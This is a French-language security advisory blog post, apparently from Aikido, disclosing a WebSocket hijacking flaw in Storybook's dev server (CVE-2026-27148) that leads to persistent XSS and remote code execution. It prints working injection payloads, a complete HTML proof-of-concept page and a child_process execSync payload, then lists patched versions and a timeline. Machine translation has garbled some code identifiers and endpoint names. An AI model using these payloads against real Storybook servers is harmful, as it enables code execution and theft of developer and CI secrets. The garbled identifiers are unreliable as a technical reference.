Aikido , notre produit de test d'intrusion basé sur l'IA, a découvert une vulnérabilité de détournement de WebSocket dans le serveur de développement de Storybook, pouvant entraîner un XSS persistant et l'exécution de code à distance. Si elle passe inaperçue, la charge utile pourrait se retrouver dans le contrôle de version, le pipeline CI/CD et la version de production de Storybook. Le serveur WebSocket de Storybook ne dispose d'aucune authentification ni d'aucun contrôle d'accès. Ainsi, si le serveur de développement est accessible au public, un pirate peut exploiter cette faille sans aucune interaction de la part de l'utilisateur. Dans la configuration locale plus courante, un développeur doit visiter un site web malveillant pendant que Storybook est en cours d'exécution.
Avis : GHSA-mjf5-7g4m-gx5w
CVE : CVE-2026-27148
CVSS : 8,9 (élevé)
Affected versions: Storybook >= 8.1.0 and < 10.2.10
Versions corrigées : 7.6.23, 8.6.17, 9.1.19, 10.2.10
La vulnérabilité
Storybook est un atelier frontend open source permettant de créer et de tester des composants d'interface utilisateur de manière isolée, en dehors de votre application principale. Pendant le développement, Storybook exécute un serveur local qui utilise des WebSockets pour alimenter ses fonctionnalités de création et d'édition d'histoires. Dans les versions antérieures, les développeurs devaient créer et modifier les composants d'histoire dans l'éditeur de leur choix, puis afficher le résultat dans Storybook dans le navigateur. À partir de la version 8.1, les développeurs peuvent modifier les composants directement dans le navigateur via l'interface utilisateur de Storybook. C'est dans cette fonctionnalité de création et d'édition d'histoires que réside la vulnérabilité.
Le problème : le serveur WebSocket ne dispose d'aucun contrôle d'accès. Il n'y a ni authentification, ni validation de session, ni Origin vérification des en-têtes sur les connexions entrantes. Si le serveur de développement est accessible, n'importe qui peut se connecter et commencer à écrire des fichiers dans le répertoire stories.
Cela crée deux scénarios d'attaque distincts. Si le serveur de développement Storybook est accessible au public, tout pirate non authentifié sur Internet peut se connecter directement au point de terminaison WebSocket et l'exploiter sans aucune interaction de l'utilisateur. Si le serveur de développement fonctionne localement, le pirate doit inciter le développeur à visiter une page Web malveillante, qui ouvre alors une connexion WebSocket inter-origines vers ws://localhost:6006/storybook-server-channel en leur nom.
Le point de terminaison WebSocket à l'adresse /serveur-de-livres-d'histoires-canal accepte deux types de messages : createNewStoryfileRequest et enregistrerDemandeHistoireLes deux types écrivent dans le répertoire src/stories du système de fichiers.
Le code vulnérable se trouve dans deux gestionnaires WebSocket :
create-new-story-channel.tspoignéescreateNewStoryfileRequestsave-story.tsgère saveStoryRequest
Les deux délèguent à obtenir-nouveau-fichier-histoire.ts qui dérive nomDeBaseSansExtension à partir du composant FilePath fourni par l'utilisateur et le transmet sans le nettoyer à typescript.ts, où il est interpolé directement dans le code source généré.
Point d'injection : obtenir-nouveau-fichier-histoire.ts
const base = basename(componentFilePath); //« Bouton » ; alert(document.domain) ; var a = « .tsx »
const extension = extname(componentFilePath); // « .tsx »
const basenameWithoutExtension = base.replace(extension, ''); // « Button » ;alert(document.domain) ;var a='"Évier : typescript.ts
const importName = data.componentIsDefaultExport
? await getComponentVariableName(data.basenameWithoutExtension)
: data.componentExportName; // ← user-controlled, unvalidated
...
const importStatement = data.componentIsDefaultExport
? `import ${importName} from './${data.basenameWithoutExtension}'`
: `import { ${importName} } from './${data.basenameWithoutExtension}'`; // ← injected here Fichier écrit sur le disque :
import type { Meta, StoryObj } from '@storybook/react-vite';
import { Button } from './Button-INJECTION_POINT-'; // ← injected here
const meta = {
component: Button,
} satisfies Meta<typeof Button>;
export default meta;
type Story = StoryObj<typeof meta>;
export const Default: Story = {};L'attaque : du socket à l'injection de code
Pour les instances exposées publiquement, l'exploitation est triviale : il suffit de se connecter au point de terminaison WebSocket et d'envoyer un message. Ce processus peut être entièrement automatisé et adapté pour rechercher les instances de développement Storybook exposées sur Internet.
Pour les instances locales, l'attaque nécessite une étape supplémentaire : le développeur visite une page Web malveillante qui ouvre silencieusement une connexion WebSocket vers localhost:6006 et envoie un message spécialement conçu :
{
"type": "createNewStoryfileRequest",
"args": [{
"id": "xss_poc",
"payload": {
"componentFilePath": "src/stories/Button';alert(document.domain);var a='.tsx",
"componentExportName": "Button",
"componentIsDefaultExport": false,
"componentExportCount": 1
}
}],
"from": "preview"
}
L'injecté cheminD'accèsAuFichierDuComposant sort du contexte de chaîne dans le fichier d'histoire généré. Storybook écrit un nouveau .histoires.ts fichier sur le disque dans le répertoire src/stories avec le JavaScript de l'attaquant intégré.
Fichiers écrits sur le disque :
import type { Meta, StoryObj } from '@storybook/react-vite';
import { Button } from './Button';alert(document.domain);var a= ''; // ← injected here
const meta = {
component: Button,
} satisfies Meta<typeof Button>;
export default meta;
type Story = StoryObj<typeof meta>;
export const Default: Story = {};Le cheminD'accèsAuFichierDuComposant Le champ est le vecteur d'injection le plus simple, mais nomD'exportationDuComposant s'écoule dans les mêmes positions du modèle lorsque composantEstExportationParDéfaut est faux, y compris le composant : propriété et expression typeof dans le bloc meta.
Le PoC complet n'est qu'une simple page HTML :
<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body>
<h1>Loading...</h1>
<script>
const ws = new WebSocket("ws://localhost:6006/storybook-server-channel");
ws.onopen = () => {
ws.send(JSON.stringify({
type: "createNewStoryfileRequest",
args: [{
id: "xss_poc",
payload: {
componentFilePath: "src/stories/Button';alert(document.domain);var a='.tsx",
componentExportName: "Button",
componentIsDefaultExport: false,
componentExportCount: 1
}
}],
from: "preview"
}));
};
</script>
</body>
</html>
C'est tout. Rendez-vous sur la page, et le fichier d'histoire injecté se trouve désormais sur l'ordinateur du développeur.

Escalade : du XSS au RCE
L'impact de cette vulnérabilité va au-delà des attaques transitoires basées sur les navigateurs en raison de la manière dont Storybook s'intègre aux workflows de développement modernes.
La gravité s'accentue dans les environnements où les stories sont utilisées pour les tests automatisés. De nombreuses équipes utilisent des « stories portables » pour exécuter des tests dans des environnements Node.js (par exemple, en utilisant Vitest avec JSDOM), au lieu de l'instance Chromium par défaut. Dans ces configurations non standard mais courantes, le JavaScript injecté se retrouve dans un contexte NodeJS et s'exécute côté serveur. Cela confère à la charge utile les mêmes privilèges que le testeur, ce qui peut permettre :
- Exfiltration des identifiants : accès aux variables d'environnement et aux secrets CI/CD.
- Accès au système : accès complet en lecture/écriture au système de fichiers local et au code source.
- Pivotage réseau : capacité à accéder aux ressources réseau internes à partir de l'agent de compilation ou de la machine de développement compromis.
socket de validation du concept socket :
{
"type": "createNewStoryfileRequest",
"args": [{
"id": "rce_stealth",
"payload": {
"componentFilePath": "src/stories/Button';(typeof process!=='undefined'&&console.log('RCE_PROOF:',require('child_process').execSync('id').toString()));var a='.tsx",
"componentExportName": "Button",
"componentIsDefaultExport": false,
"componentExportCount": 1
}
}],
"from": "preview"
}
Quand npx vitest s'exécute, qu'il soit déclenché manuellement, par une extension VS Code lors de l'enregistrement d'un fichier ou dans un pipeline CI/CD, le résultat affiché est le suivant :
RCE_PROOF : uid=501(robbe) gid=20(staff) ...À ce stade, l'attaquant peut exécuter du code dans l'environnement du développeur ou dans le pipeline CI, et a accès aux variables d'environnement, aux identifiants, au système de fichiers et au réseau.
Le point de vue de la chaîne d'approvisionnement
Le principal facteur de risque de cette vulnérabilité est le modèle de persistance. En effet, la charge utile est écrite directement dans les fichiers source du projet. Si elle passe inaperçue, la charge utile peut être validée dans le contrôle de version. Si cela se produit, l'exploit pourrait se propager via plusieurs vecteurs :
- Distribution interne : les membres de l'équipe qui extraient la branche mise à jour exécuteront la charge utile injectée localement lorsqu'ils lanceront leurs propres instances Storybook ou suites de tests.
- Exécution du pipeline CI/CD : les environnements de compilation et de test automatisés, qui fonctionnent souvent avec des autorisations élevées pour accéder aux secrets et aux clés de déploiement, peuvent exécuter le code malveillant pendant la phase de test.
- Exposition de la documentation : si la version Storybook est publiée sous forme de site de documentation hébergé, la charge utile XSS devient persistante pour toute partie prenante, tout concepteur ou tout développeur consultant les composants.
Protections du navigateur
Google Chrome commence à mettre en place des invites d'autorisation pour les requêtes WebSocket locales, afin de se protéger contre les connexions WebSocket inter-origines vers localhost (voir https://chromestatus.com/feature/5197681148428288). Firefox ne le fait pas. Ainsi, si votre équipe compte ne serait-ce qu'un seul utilisateur Firefox exécutant Storybook, celui-ci devient une cible potentielle pour une attaque inter-origines.
Pour les serveurs de développement exposés publiquement, tout cela n'a aucune importance. L'attaquant se connecte directement au point de terminaison WebSocket sans passer par un navigateur. Aucune vérification d'origine, aucun CORS, aucune protection du navigateur dans la boucle.
Correction
Mettez à jour Storybook vers l'une des versions corrigées : 7.6.23, 8.6.17, 9.1.19 ou 10.2.10. Le correctif ajoute une validation de l'origine au serveur WebSocket. Dans les versions ultérieures, Storybook a également ajouté une fonctionnalité de nettoyage des noms d'histoire afin d'empêcher les attaques par injection.
Notez que, bien que la fonctionnalité vulnérable ait été introduite dans la version 8.1, des correctifs ont été rétroportés vers la version 7.x à titre de mesure de précaution.
Si vos référentiels sont analysés par Aikido, les versions vulnérables de Storybook seront automatiquement signalées et apparaîtront dans votre flux.
Chronologie
- 6 février 2026 : identifié par Aikido (agent de test d'intrusion IA)
- 6 février 2026 : Divulgué à l'équipe de sécurité de Storybook
- 25 février 2026 : corrigé dans Storybook 7.6.23, 8.6.17, 9.1.19, 10.2.10
- 25 février 2026 :GHSA-mjf5-7g4m-gx5w publié

